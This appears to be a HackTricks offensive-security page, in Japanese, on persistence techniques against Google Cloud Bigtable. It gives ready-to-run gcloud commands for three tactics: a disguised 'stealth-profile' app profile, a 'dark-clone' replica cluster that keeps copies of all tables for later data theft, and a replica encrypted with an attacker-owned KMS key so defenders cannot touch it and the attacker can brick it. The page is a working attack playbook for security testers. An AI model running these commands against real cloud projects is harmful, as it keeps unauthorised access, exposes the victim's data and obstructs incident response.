# GCP - Bigtable Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Bigtableの詳細については次を参照してください:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### Dedicated attacker App Profile

**権限:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.

トラフィックを replica cluster にルーティングする app profile を作成し、Data Boost を有効にして、defenders に気づかれる可能性のある provisioned nodes に依存しないようにします。

<details>

<summary>ステルスな app profile を作成</summary>
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"

gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
</details>

このプロファイルが存在する限り、それを参照する新しい資格情報を使って再接続できます。

### 自分のレプリカ クラスターを維持する

**権限:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.

静かなリージョンに最小ノード数のクラスターをプロビジョニングします。クライアント識別情報が消えても、**クラスターはすべてのテーブルの完全なコピーを保持し続けます**。防御者が明示的に削除するまで。

<details>

<summary>レプリカ クラスターを作成</summary>
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
</details>

データを引き出す必要があるときに即座にスケールアップできるよう、`gcloud bigtable clusters describe dark-clone --instance=<instance-id>` で監視しておきます。

### レプリケーションを自分の CMEK の背後にロックする

**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt`（攻撃者所有のキーに対して）

クローンを作成するときは自分の KMS キーを持ち込みます。そのキーがなければ Google はクラスタを再作成したりフェイルオーバーしたりできないため、blue teams は触る前にあなたと調整する必要があります。

<details>

<summary>CMEK で保護されたクラスタを作成</summary>
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
</details>

プロジェクト内の key をローテートするか無効化すると、replica を即座に brick できます（後で再度オンに戻すことも可能です）。

{{#include ../../../banners/hacktricks-training.md}}
